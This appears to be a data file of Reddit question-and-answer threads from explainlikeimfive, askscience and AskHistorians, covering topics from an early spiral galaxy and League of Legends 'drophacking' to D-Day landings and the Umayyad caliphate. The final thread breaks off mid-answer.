{"q_id": "7axi5v", "title": "How is it that the recently discovered \u201coldest spiral galaxy\u201d, A1689B11, can be so well formed yet exist only 2.6 billion years after \u201cBig Bang\u201d?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7axi5v/how_is_it_that_the_recently_discovered_oldest/", "answers": {"a_id": ["dpdxpj8", "dpe6k9c", "dpeeu4n", "dpeoxiu", "dpevfvz", "dpf20u5", "dpf74hb"], "score": [592, 53, 37, 4, 10, 2, 2], "text": ["I'd say it's probably a rare case, but I don't think it produces any major threats to current galaxy theory. It does take a while for galaxies to settle down and form a disk like this, especially since it's thought that during these early times they'd be going through a number of major and minor mergers with other objects, but if it's had a relatively quiet history I don't think it's impossible to form a disk so early.", "I think the top comment pretty much covered it (that a well-formed galaxy that early doesn't really challenge our theories about galaxy formation), but I would like to say that it's not 2.6 billion years AFTER the Big Bang as much as 2.6 billion years INTO the Big Bang (or 2.6b years after the initiation of the Big Bang).", "If you are going by the image shown in most articles, that image is strictly a \"representation\" of a spiral galaxy. The actual galaxy was determined to exist by gravitational lensing, so it would look smeared out in a crescent shape. I am sure a lot of interpretation of the image was needed to ascertain that it was a spiral galaxy.", "I\u2019m being serious when I ask this, but what are the chances that we are totally wrong about all our theories as it relates to the cosmos. I get that we are pretty good at math, figuring out a day should be 24 hours long, and even defining an hour.  Sorry, I guess it\u2019s a dumb question.  ", "Ok I admit to being a relatively moronic person. So this thing that is 13.6 B light years away means that it's probably gone now correct?  What we are seeing is actually something from that much time before us?  I enjoy learning this stuff but sometimes I have a very hard time wrapping my head area such literal cosmic discoveries. ", "I just had a thought: since we can age galaxies, can we look at them and try to see where a larger concentration of 'old' galaxies lie to determine which direction this all started in (where the big bang took place)?\n\nOr does it not work that way because it didn't so much explode into an existing space but expanded into the space we have today meaning there's gonna be old no matter where we look?", "I\u2019ve often wondered if the vast quantities of neutrinos streaming away from our sun, outward from Earth\u2019s vantage point in all directions, had ANY impact at all on the light we see from distant galaxies, wouldn\u2019t it be to red-shift that light?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "35tc31", "title": "what is drophacking?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35tc31/eli5what_is_drophacking/", "answers": {"a_id": ["cr7m9kn", "cr7mc6k"], "score": [14, 126], "text": ["Im gonna assume youre talking about league.\n\nIts where you somehow find the IP of whatever server your game is on. You then somehow send a bunch of pings to the server that it cannot deal with and this causes the servers to basically pause all player actions. However your champ will still be doing whatever it was doing before the drophack occured, so you can auto attack a champ and drophack and basically kill them before they can do anything about it.\nIts not as prevalent as it seems, a lot of what seems like Drophacking on EUW is just ghost games where the server messes up. This is what calls you to be locked in a game that isnt there until the Server clears all the ghost games 2 hours later.\n\nOf course disreguard this if you werent talking about League", "Ever have a 3rd person try to talk over you when you're talking to someone else?\n\nNow imagine if they didn't stop, but kept getting louder and louder until neither you nor your conversation partner can hear anything except Guy #3's exceedingly loud voice. You eventually quit trying to hold a conversation because his shouting is so loud nothing is getting through.\n\nYou and your friend in the example are you and whatever you're trying to connect to. Guy #3 is the drophacker, flooding the connection with a bunch of random shit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "o55gu", "title": "Why aren't there any pictures of a sunrise from the moon?", "selftext": "We have pictures from the moon but none of a sunrise or sunset. Is there a reason for this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o55gu/why_arent_there_any_pictures_of_a_sunrise_from/", "answers": {"a_id": ["c3efwpp", "c3eg4g1", "c3ehkgf"], "score": [24, 36, 5], "text": ["One day is one month on the moon. Astronauts would have to be there on the right day. They were not.", "There must be pics of a \"sunrise\" from low Moon orbit, but I assume that's not what you mean.\n\nIf you want to land on the Moon, it makes sense to do it in daylight, not darkness.  But then it takes anywhere up to 2 weeks for the sun to set, then another 2 weeks of darkness until you get your sunrise.\n\nSo if we ever decide to go to the Moon for several weeks at a time, that's when you'll get the pics you want.  But I'm not sure how interesting such a photo would be actually.  It would look the same as any other picture on the moon, but with the sun just closer to the horizon, and everything completely backlit. It's much different for us who have an atmosphere to scatter light of various colors around.", "There may not be any  from the moon, but there are a few from the Space Station.\n[Here's one](_URL_1_)\n\n[Another](_URL_0_)\n\n[Another](_URL_2_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://images.nationalgeographic.com/wpf/media-live/photos/000/399/cache/space159-space-station-sunrise_39926_600x450.jpg", "http://science.nasa.gov/media/medialibrary/2002/08/28/28aug_sunrise_resources/sunrise_sts101_med.jpg", "http://4.bp.blogspot.com/_KF9jlkW-p0g/SxLWrv0hmGI/AAAAAAAAAjc/yfwrlEFP_D8/s1600/sunrise.jpg"]]}
{"q_id": "1gutl7", "title": "what happens to my nokia stocks if microsoft buys nokia?", "selftext": "I have some Nokia stocks, and it's been rumored that either Microsoft or Huawei would be interested in buying Nokia's mobile business. What would happen to my stocks? Would my stocks be replaced with the buyer company's stocks, would I get money equivalent for the purchase amount per stock, or would I still own Nokia's stocks for the remainder business that Nokia would still have?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gutl7/eli5_what_happens_to_my_nokia_stocks_if_microsoft/", "answers": {"a_id": ["cao0zrm", "cao1c0b"], "score": [4, 58], "text": ["It could be either Microsoft stock or cash, depending on the form of the takeover. Both stock-for-stock exchanges and cash-only deals are common, as are mixed deals where you'd get some of each.", "Let's say you own exactly 1% of Nokia.  (You probably don't but it is an easy number to use)\n\nYou would get 1% of whatever deal they make.  \n\nIf Microsoft buys Nokia for $100,000 You would get $1000.\n\nIf Microsoft buys Nokia for 200 Shares of Microsoft stock you get 2 shares of MSFT.  \n\nIf it is a mix, maybe $50,000 + 100 shares of MSFT, then you would get $500 and 1 share of MSFT. \n\nOther things are possible like $50,000 plus some other assets like buildings or patents.  In that case you would get some extra money because you can't get 1% of a building. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "46n87c", "title": "why cbs, nbc, fox, abc,  &  cw don't ever produce tv-ma shows similar to how fx and fxx makes tv-ma shows.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46n87c/eli5_why_cbs_nbc_fox_abc_cw_dont_ever_produce/", "answers": {"a_id": ["d06fkn3"], "score": [2], "text": ["Those are network channels, meaning anyone with an antenna or a barebones tv package can get them, which is why they have the most viewers. When you already have a lot of viewers, adding TV-MA content will push more people away than they would draw in. For lesser watched channels, they need to draw in people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19dn49", "title": "Were there any medieval or ancient armies that made policies of not torturing, raping, killing peasants, etc?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/19dn49/were_there_any_medieval_or_ancient_armies_that/", "answers": {"a_id": ["c8n42fk", "c8n4hru", "c8n533w"], "score": [35, 10, 14], "text": ["The violence against civilians was a pragmatic decision by the commanders of the day. Armies couldn't carry enough supplies with they on the march so they had to live off the land i.e. the local enemy population. By looting the countryside they struck a psychological and economic blow to the enemy before they even met in battle. Also, armies in the days for yore were mostly untrained peasants themselves, dragged hundreds of miles from home and put into an extremely dangerous situation. By allowing them to have their way with the local population you kept morale up and reduced the number of desertions as troops decided they could get something out of this other than killed. All of this is doubly true when it comes to the sacking of cities. The medieval sack of a city was quite often a bloodbath orgy of violence. Why? Because walled cities are *not* usually easy to take and the guys outside who have been fighting and dying for months trying to assail the walls are getting mad. Add the prospect of loot and the attentions of the city's unfortunate female population and you have yourself a bloody sack.", "Cities often had the opportunity to pay tribute instead of being sacked. In fact, one of the barbarian \"sackings\" of Rome (I forget which) was actually nothing more than a negotiated payment to the barbarian hordes. It's important to remember that a lot of war was about gaining wealth and power, not just killing for the hell of it. ", "Sacking and looting was commonplace in ancient and medieval warfare, and indeed was often seen as a right for the victors. Nevertheless, many leaders tried to prevent their men from doing this, for a variety of circumstances - maybe they were morally opposed to it due to religion (the Catholic Church frowned upon Catholics killing Catholics, for example), maybe they were being pragmatic (you can't tax dead people), maybe they wanted to get the support of the populous, etc. An example off the top of my head would be the Islamic general Saladin, who was known for being not only a top-notch general but also quite courteous. Cyrus the Great of Persia would be another example.\n\nEven generals who really didn't care about ethics or piousness were often only selectively brutal. As aforementioned, there are many circumstances where it does not benefit you for your men to rape and sack the land you conquer. It was common procedure for an assailant to offer a city or town the opportunity to surrender peacefully, in which case they would not be subject to total violence."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "a7ycqp", "title": "why get a loan for anything if you\u2019re going to pay more in the long run", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a7ycqp/eli5_why_get_a_loan_for_anything_if_youre_going/", "answers": {"a_id": ["ec6k40l", "ec6k5vk", "ec6kamo", "ec6kcip", "ec6kjif", "ec6mmby", "ec6q14u"], "score": [12, 18, 10, 6, 4, 3, 2], "text": ["Get it now vs later. In terms of business expenses, borrowing to invest in the business can create more value than the cost of the borrowing.", "Your boiler breaks,  you have no money.  Get a loan to fix it or watch your family freeze to death.\nWhat you going to do?   Which in the long run costs more? ", "Because in many situations, it is otherwise impossible to afford it. Especially, if it is something expensive, like a house or car.\n\nLet's say you want to buy a $300,000 house. Yes, it would be cheaper to buy it all at once, but very few people have $300,000 sitting around. For most people, it would take years and years of saving to get that sum, by which time the price may have heavily increased. Borrowing money to pay for something expensive may end up costing more, but it makes things available now, not 10 or 20 years from now. ", "Because getting a loan let's you get that thing *now*, and the value of having it *now* may outweigh the cost of interest over the life of the loan.\n\nIf your options are get a mortgage and this house now but pay 5% interest, that could be significantly better than renting for roughly the same price while trying to save for a house and losing 15 years to rent while trying to save enough to buy an increasingly more expensive house outright", "If you have an opportunity to invest in something that will yield a profit greater than the value of your time,interest rate of the loan plus inflation then you can use borrowed money to generate income. These investments could be starting a business for flipping cars or whatever.", "Another thing to consider is inflation.\n\nTaking out a loan to buy something means that as the loan term progression, you're paying relatively less year after year.", "Because there are times when you still end up ahead, or simply need something now and the opportunity cost of doing without is greater than waiting.\n\nLet's look at a couple examples...\n\n- A house costs, say $200k and you make $75k. If you set aside 10% of your income toward a house, you'd have to save for 27 years. Assuming you graduated college at 21 and started saving toward this goal, you'd be able to finally buy that house and start your family at 48! Or you could borrow money, buy that house at 28 and raise your family in it while paying back the loan. Also, there are the benefits to the home's value appreciation over time while you own it.\n\n- You want to go to college. That costs a lot of money! You could save up the needed tuition money, or go to school part time while working... but then you spend a decade or more losing out on the higher income potential your degree offers, which more than offsets the interest paid on student loans.\n\n- You need a car. Without it, you can't get to work. Or can't efficiently go grocery shopping, etc. The limits on earning potential and lost time are greater than the loan interest, so it makes sense to buy a car today rather than save for years to afford one.\n\n- You have a business idea, but need money to get the business up and running -- you need an office/store/factory, supplies, need to hire other workers, etc. Once you get your business off the ground, it'll kick off more than enough revenue to pay off the loan and provide you income on an ongoing basis. \n\nThere IS bad debt. Taking out loans via credit cards for things like TVs and vacations is very bad and costly, taking out a high interest loan on a nice car than you need is stupid. But there is good debt that can help generate more money than it costs your, or provides other timely benefits that are worth the additional cost of paying interest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "3ikvah", "title": "how did crysis look so good for it's time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ikvah/eli5_how_did_crysis_look_so_good_for_its_time/", "answers": {"a_id": ["cuhakgg"], "score": [12], "text": ["We've been doing photo realistic CGI for years. If it's a movie, you can calculate all the effects ahead of time on a supercomputer and just show the end product. If it's a game you have to calculate the effects at least 30 times a second on whatever combination of hardware player has.\n\nCrysis had effects that only computers of a future could generate in real time. Hardly anyone had PCs powerful enough to run it in all its glory."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "afl6gs", "title": "beef comes graded in prime, choice, select, etc. but chicken, pork, and other meats don't seem to have this distinction. why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/afl6gs/eli5beef_comes_graded_in_prime_choice_select_etc/", "answers": {"a_id": ["edzh5p6", "ee0n2j4", "ee126uv"], "score": [22, 3, 2], "text": ["At least for chicken, there are grades! It\u2019s just A, B, and C though. \n\nGrade A chicken is the kind you buy at retail. Grades B and C are used for ground meat or other processed products. \n\nWith beef products the grading describes the physical quality of the meat. Things like fat content, distribution, etc., and is legitimate tiers of meat. Ranging from \u201ccheap but serviceable\u201d with a poor fat content or muscle structure, to \u201chigh quality expense\u201d with ideal meat and fat structure. \n\nWith poultry, since we only really cook and eat Grade A from the store, any grading would be arbitrary. It would be difficult to pin down any qualities that make one piece better, at least better enough to warrant grading. \n\nI\u2019m unsure of pork and the others, though. ", "Butcher here, beef quality range from dairy cow to Kobe, being select, choice, prime in the middle. The rating is determined by %of fat content in the meat. Some guy holds up a piece of plastic with a square cut out of it to the end of each loin and rates the meat. The more fat % the higher the quality. ", "Usually by the time an average consumer is talking about grading we're already in a relatively high quality echelon of meat. Taste and cost of Prime vs Select is pretty huge but how we get them is sometimes unpredictable. More nuanced grading of something like duck feels unnecessary for the amount of demand. The majority of customers in North America have only a vague understanding of cuts and grading quality and what that means to their food. Often people will ask for \"the leanest ribeye\" for example. \n\nSome countries do require more granular grading of meats other than beef though - my butcher shop for example stocks pork that meets Japanese standards for their highest grade of pork despite such a grading not existing here. They advertise it as such and charge more for the premium product it is. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "o2etw", "title": "time cube", "selftext": "I understand that it's regarded as a crackpot theory, but I don't even understand what the theory is trying to say. Here's a quote from the website:\n\n >  When the Sun shines upon Earth, 2 \u2013 major Time points are created on opposite sides of Earth \u2013 known as Midday and Midnight. Where the 2 major Time forces join, synergy creates 2 new minor Time points we recognize as Sunup and Sundown. The 4-equidistant Time points can be considered as Time Square[4] imprinted upon the circle of Earth. In a single rotation of the Earth sphere, each Time corner point rotates through the other 3-corner Time points, thus creating 16 corners, 96 hours and 4-simultaneous 24 hour Days within a single rotation of Earth \u2013 equated to a Higher Order of Life Time Cube.\n\nCan anyone explain like I'm 5 what this guy is trying to say?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/o2etw/eli5_time_cube/", "answers": {"a_id": ["c3dt3ev", "c3dt48z", "c3dwboy"], "score": [8, 6, 9], "text": ["It's not regarded as a crackpot theory so much as a *nonsense* theory; the website might as well be word-salad.", "The main point seems to be that you can think of a \"day\" as starting at any of four different times: sunrise, midday, sunset, and midnight. None of these four \"days\" is more correct than the others, and every point on the earth experiences each of these things in turn, so for every 24 hour cycle, you should consider four days to have passed. ", "Okay, here's what he's *trying* to say.  Imagine a ball in the middle of a kite.  Then you shine a flashlight at one of the points.  That's \"midday\".  The point on the other side is \"midnight\".  Then the other two points are sun-up and sun-down.\n\nLeave the flashlight, and turn the ball 90 degrees.  What was midday has now moved to sundown.  That's a 6 hour change.  What was sundown has moved to the back, and is now midnight.  That's another 6 hours.  All 4 points moved 6 hours, so 24 hours in that one 90 degree rotation.  Keep that logic going, and you get 96 hours in one single rotation of the Earth.\n\nTotally logical, except for the original premise, which is crap.  If I put a ball in the middle of a stop sign instead and did the same thing, I'd have 192 hours in a single rotation.  Defining the number of points is useless and meaningless, which is where the craziness comes in.  If he wanted to keep thinking of it that way, there are an infinite number of hours in a 24 hour day, since you could pick every single town on the planet as one of the 'corners' and perform the same concept.\n\nOf course, he apparently doesn't believe in infinity either, so . . . \n\nSo, it's total crazypants mumbo-jumbo."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4h7wl9", "title": "Why did James Watt have difficulty in matching the cylinder and piston in his steam engine, but the Newcomen engines that came before him didn't?", "selftext": "I am researching the Watt steam engines and one of the things that I discovered was that Watt had a lot of difficulty initially in getting the precision required for his cylinder and piston to match. Newcomen engines are 50 years older and they used pistons, so why didn't they have any trouble? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4h7wl9/why_did_james_watt_have_difficulty_in_matching/", "answers": {"a_id": ["d2po33p"], "score": [2], "text": ["Watt sealed the top of the cylinder, which prevented him from (easily) using the Newcomen solution to this problem, which was to put [water on top of his piston, in part to keep the seal wet.](_URL_0_)\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.egr.msu.edu/~lira/supp/steam/newcomen.htm"]]}
{"q_id": "2p9ryc", "title": "who built the facilities at which the cia advanced interrogation methods were being used?", "selftext": "Were there organizations outside of the CIA that were building, for example, the coffin-sized cells and/or the other resources for interrogation? If not, how could the CIA operatives build all of it alone? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2p9ryc/eli5_who_built_the_facilities_at_which_the_cia/", "answers": {"a_id": ["cmumip3"], "score": [2], "text": ["Can we dispense with the euphemisms such as \"advanced interrogation methods\" and just call it what it is? Torture.\n\nMen died because of the tactics used. Some innocent. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dmfyc7", "title": "what causes the impulse making us 'unable to look away' from disturbing imagery?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dmfyc7/eli5_what_causes_the_impulse_making_us_unable_to/", "answers": {"a_id": ["f505xwh", "f5067q8", "f50arr5", "f50cquh", "f50gort", "f50q0qa", "f50qpnb", "f50xi43"], "score": [1988, 134, 24, 64, 3, 2, 4, 2], "text": ["It's an extension of curiosity. Disturbing images are of things that we don't frequently associate with or see. They're fundamentally unusual. Our brain interprets images as disturbing in the first place as a defense mechanism. Things that scare or unnerve us are things that it's usually best for us to not be around. For example, dead bodies are often found in places riddled with decay and disease, so its best not to stay near them too long. \n\nHowever, when we're in a place we know is safe, such as when looking at google images on your phone on the toilet instead of doing work, your curiosity overwhelms your sense of danger, and so you keep looking because your brain is trying to figure out what the hell's going on here. Curiosity is driven by a state of uncertainty and a need to rectify that, but disturbing images are disturbing precisely because they cause uncertainty. Your brain is going to keep looking at it until the state of uncertainty is rectified or until it realises that this is going to remain unnerving no matter how much you look at it and just turns away.", "We are programmed to be interested in things that could be a threat or that are generally unusual. We want to learn about things that might help us not die.", "Is this really the case?  I always look away - I\u2019ve no interest is seeing something I could find disturbing. I don\u2019t consider myself timid either, I just feel I know what\u2019s good for me and curiosity doesn\u2019t override that.", "Identification of the threat, the more you know about a threat the less likely it is going to kill you, something disturbing is almost certainly considered by the brain as a threat even if you are watching it through a TV or computer screen.", "Disturbing energy juice. Scientists discovered it about 3 years ago, our brain pumps disturbing energy juice in our brain and we feel unable to look away.", "\"Disturbing\" imagery primarily involves corpses, harm to people, or suggestion of imminent harm. Animals will survive better if they have an instinct to immediately flee and get away from any situation that involves other people dying, getting harmed, or people about to be harmed. We evolved to find things that suggest danger so horrible that we flinch and want to get away.\n\nIs it ELI5 friendly to assume knowledge of evolution?", "Ayy, some people are giving psychological and evolutionary origin but not really the actual reason that is making it hard.\n\nThere is a part of the Brain loosely called the \"midbrain\". This is a group of structures at the top of the Brainstem, including Tectum, Tegmentum and Substantia nigra. These have a function that is deeper than conscious thought, which takes place in the outer layers of the Brain. The midbrain does many things, but one of the things is to instantly force your head or eyes in the direction of loud sounds and sudden movements in your periferal vision. When you see an antilope suddenly look up towards a place a predetor is, this is a similar structure that is controlling it. Same goes for disturbing imagery, your brain wants to assess the threat, or at least be sure it ends. \n\nImagine the antilope, that does not have the ability (probably) to think \"eeeeeh, it was probably just the wind\". To survive, it needs to take all threatening stimuli very seriously. This is why a small sound our movement causes the antilope to freeze with eyes and ears targeted at the stimuli until: a. It sees a predator and runs b. Is confident there is nothing there.", "We instinctively orient towards novel stimuli. Things that fall outside of our normal experience. This is true even of tiny babies, so it must be an ingrained instinct. \n\nI would suspect that it's not the disturbing nature of the images that catches our attention but the unfamiliarity of them. They catch our attention until we can comprehend what we're seeing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "264xvc", "title": "What was the typical daily schedule of a French Musketeer?", "selftext": "Things like what time it was customary to get up, meals, training, patrols, social life, etc.\n\nI can't seem to find any details on the subject.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/264xvc/what_was_the_typical_daily_schedule_of_a_french/", "answers": {"a_id": ["chnwg8i"], "score": [4], "text": ["You can't find details because \"french musketeer\" doesn't really mean anything. You have to be more specific.  Even if you can define it down to a specific time period it will vary until you can specify down to a specific regiment.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4u0966", "title": "On D-Day, were soldiers actually gunned-down as soon as the landing craft ramp dropped, or is it an inaccuracy portrayed in movies?", "selftext": "I think everyone knows [this scene](_URL_0_) from Saving Private Ryan where the landing craft ramp drops but German machine guns instantly kill everyone in the craft. However, I've done a bit of reading about D-Day and learned how the beaches were several hundred yards long, meaning that fire would only be so accurate from the prepared defenses.\n\nAs well, I watched a video recently claiming that the German MG 42 and 34 were relatively inaccurate weapons, even to the point that a man could be almost entirely safe when laying down at a distance of 100 yards from a given machine gun emplacement. So, I'm wondering if the portrayal of the landing scenes in Saving Private Ryan (among many other movies) is wrong, or if the German machine gun emplacements were accurate enough to kill everyone in the landing craft as the ramp dropped.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4u0966/on_dday_were_soldiers_actually_gunneddown_as_soon/", "answers": {"a_id": ["d5ltvvh", "d5m4t14"], "score": [125, 31], "text": ["The book *D-Day Through German Eyes* (Holger Eckhertz) is a compilation of memoirs of troops on the German side of the Normandy landings, recorded in the 1950s. One soldier stationed on Omaha beach (a word not used by the Germans, of course, a point covered in the book) remembered 88mm PAK guns (artillery rather than machine guns) firing directly into the landing craft:\n\n >  ... These 88mm gunners were very accurate, and shot into the landing craft straight through the tall vertical bow. They fired high explosive, and the shells pierced the bow and exploded inside.\n\n >  I saw one of the landing craft opposite my location being hit in this way. The 88mm shell detonated beyond the bow, and the bow door, which I then realised was a ramp, was thrown up into the air. Inside the craft, I could see a large number of troops who had been injured in the explosion, surrounded by men who were still able-bodied. They were clambering and scrabbling over each other, because the craft began to tip forward as water entered the open bow. I saw then from the shape of their helmets that these were Americans.\n\n >  The 88mm gunners fired another shot into the mass of men, and this threw several of them directly out of the craft into the water. The whole craft began to sink from the bow, which made the stern of the craft lift into the air, and this movement tipped the men into the sea immediately. Wounded, or otherwise, they all slid down the inside of the craft as its tail rose and into the water. Such events were being repeated all along the beach, as these craft were hit or made to sink, or in some cases set on fire.\n\nThis soldier, a machine-gunner, did not fire directly into the landing craft (as happened in *Saving Private Ryan*) as they had been instructed to hold their fire until the enemy soldiers were 400 meters away, and this was closer in than the landing craft were able to come (at least in his zone).\n\nHis description of what happened then was nevertheless somewhat similar to *Private Ryan*:\n\n >  The craft were stopping at a point where the water was about chest or neck height, and the men were running down the ramps and stepping into the water, holding their guns, plunging down and then bobbing up again, with the sea up to their shoulders or chests. In most cases, the men tried to advance in the water one behind the other, with each man holding or reaching for the back pack of the man in front. It was as if they were conducting a drill or an exercise.\n\n >  As the last man stepped off the ramp, the craft would reverse and hoist up its bow door, and more craft would approach the beach around it. The discipline and the skill in the way the craft were handled was impressive. And so the first of these lines of men began to trudge \u2013 that is the only word I can use, they walked slowly and deliberately \u2013 they began to advance in this way into shallower water, and the waves came to their chests, then their waists. That is when we opened fire on them, as our orders stated.\n\n >  ... I did not sight on them individually at first, but I began firing and I swept the gun from left to right along the beach. This knocked down the first few men in each line of men; you must remember that the MG42 was so powerful that the bullets would often pass through the human body and hit whatever was behind. So it was that many of these men were hit by a bullet which had already passed through a man in front, or even two men in front. After that, I aimed more selectively, to make the ammunition last as long as possible. I fired short bursts at small groups of men and hit them that way.\n\n >  ... The Americans began to run, wade or stagger forwards, trying to get out of the water and onto the sand itself. They still moved quite slowly, and because of that and the close range they were easy targets to hit. In some cases, they tried to remain in the water up to their necks, perhaps hoping to be less conspicuous, and I did not fire at those men, because they showed no signs of advancing. In other cases, these troops tried to take shelter behind the anti-tank devices on the beach, which were triangles of girders sticking up from the sand. Those devices were too narrow to give any real protection, though, and those men were also hit. There were other troops who I could see removing their back packs and equipment and running onto the sand, attempting to surge up the beach towards the sea wall. I paid particular attention to these men, of course, and made sure that none of them advanced beyond a few paces.\n\n-Henrik Naube, Unteroffizier (corporal) with the 325th Infantry Division, stationed near Vierville.\n\n", "For a more technical basis for a response, it is worth noting that even if an individual man were relatively safe (not that I'd appreciate receiving the sole attention of an MG42), that's not what MGs are for in the first place. They are designed to either conduct grazing fire or to impact a beaten zone. This means that while it may or may not have been feasible to aim at an individual soldier on the landing craft ramp, they certainly could aim at the landing craft ramp in general and rely on the spread of the rounds to cause the damage to the mass of men inside.\n\nIt is also worth considering that the German MGs were dual-mode weapons. They could be rolled either as heavy machine guns or section light machine guns, basically depending on if they were mounted on a tripod or a bipod. The former, of course, being substantially more accurate, even if less common. It could be expected that a number of beach defense MGs would be the tripod mount. I'd expect that an excellent proportion of the rounds fired at, say, 400m, would impact in an area about the same as the frontal area of a small truck."]}, "title_urls": [], "selftext_urls": ["https://youtu.be/mT3q8tba_lw?t=1m48s"], "answers_urls": [[], []]}
{"q_id": "7700zp", "title": "Was the Umayyad an empire or a tribe or...?", "selftext": "I'm learning about Islam right now in AP World History, and I'm kinda stuck on just what the Umayyad was. Was it the tribe/thing that made Muhammad flee from Mecca to Medina? Or was it a Muslim empire that spread from Spain to India (And possibly even *begins to realize he's about to make everyone on /r/AskHistorians mad* moors?)? Bad puns aside, both how did the Umayyad run, and how was it able to spread like, more than even the Persian empire? Thank you, and I know this question is really stupid lol.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7700zp/was_the_umayyad_an_empire_or_a_tribe_or/", "answers": {"a_id": ["doi90pu"], "score": [26], "text": ["Hey there. Not a stupid question at all.\n\n >  Was it the tribe/thing that made Muhammad flee from Mecca to Medina?\n\nMuhammad was forced to flee Mecca by powerful members of his own tribe, Quraysh. That tribe had a number of clans, subdivisions of the tribe based on a common ancestor.\n\nThe Umayyads were one of those clans, part of the Banu Umayya, which is to say that they were all descendants of Umayya ibn Abd Shams. Abd Shams was Muhammad's great-grand-uncle. (Note, the \"-ad\" in \"Umayyad\" is a suffix like the \"-id\" in \"Abbasid\" or the \"-ite\" in \"Hashemite.\" It denotes descent from Umayya, Abbas, and Hashem, respectively.)\n\nThe Umayyad's rise to power over the newly emerged Arab/Islamic empire began after Muhammad's death. The third of the four \"Rightly Guided\" caliphs (the \"Rashidun\"), Uthman ibn Affan, was of the Banu Umayya.\n\nAfter Uthman's assassination, there was a succession crisis between Ali, the Fourth Caliph, and Muawiya, Uthman's second cousin.\n\nMuawiya is usually reckoned as the first Umayyad Caliph because Uthman is usually counted as one of the four Rashidun.\n\nThe empire that Muawiya presided over was already incredibly expansive at this point, but it was under the Umayyads that it would reach its maximum extent, stretching, as you say, from Spain to India.\n\nThe Umayyads ruled for about 100 years before they were deposed in a civil war by a rival clan, the Abbasids, in 750.\n\nVirtually every member of the Umayyad clan was killed, but those that survived fled to Spain. Abbasid rule was characterized by the breakdown of the unitary Islamic empire. What had been a single state came to be ruled successor kingdoms, even though the Abassids themselves continued to rule territory. Those Umayyads that survived in Spain established one of these successor kingdoms, the Emirate of Cordoba. In the 10th century they went one step further and declared themselves Caliphs of Cordoba. This was in a turbulent period in Islamic history when there were multiple rival Caliphates and the overall power of the Abassid Caliphate was in sharp decline.\n\n**Edit**: Also worth noting, it seems as though the wikipedia entries on the Banu Ummaya and the Ummayads have all been edited to reflect a Shia sectarian line that Umayya was the *adopted* son of Abd Shams and not a blood relative of Muhammad at all. This is not a notion that I've ever come across, and having seen these entries a few hours ago I'm failing to find any reputable source to support it. In general, Wikipedia entries on Islam and Islamic history are an absolute mess. They often reflect deeply sectarian information, or present only the devoutly religious, non-academic, non-critical perspective."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2wtwxc", "title": "What happened to thunderstorms making antimatter?", "selftext": "[NASA announced in 2011 that thunderstorms may be creating antimatter.](_URL_0_)\n\nI haven't seen or heard anything about it since then.\n\nDid this turn out to be false?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2wtwxc/what_happened_to_thunderstorms_making_antimatter/", "answers": {"a_id": ["cougcw4", "cov361w"], "score": [12, 4], "text": ["Nothing happened. It was an interesting discovery, but not entirely unexpected. Electrical discharges in thunderstorms are able to accelerate electrons to such energies that production of positrons can occur, after some intermediate process in which the high energy electron creates a high energy photon, for example through brehmstrahlung.\n\nComputer simulations, performed in the research group where I did my PhD research, predict these high energy electrons and the consequent production of positrons. So both theory (simulation) and experiment (observation) agree pretty well here.\n\nPositrons are also not extremely exciting particles. The term \"antimatter\" still carries somewhat of an aura of mystery, making it especially nice for media. But we've been using antimatter for some time already, for example in PET-scans (PET = Positron Emission Tomography).\n\nThere is followup research being done on positron emissions from thunderstorms, both on experimental and theoretical fronts. The atmospheric electricity community has some satelite projects that are being prepared that may look at this phenomenon. The initial detection of the positrons was done by a satelite that was intended for deep space observations, rather than dedicated to looking at Earth-based signals, so observationally, there is still plenty of room for improvement.\n\nWhat the precise status of the theory and observations are, I don't know, as I am no longer active in this field. But it does not surprise me that after the initial media-buzz around antimatter, the general public did not hear much more about 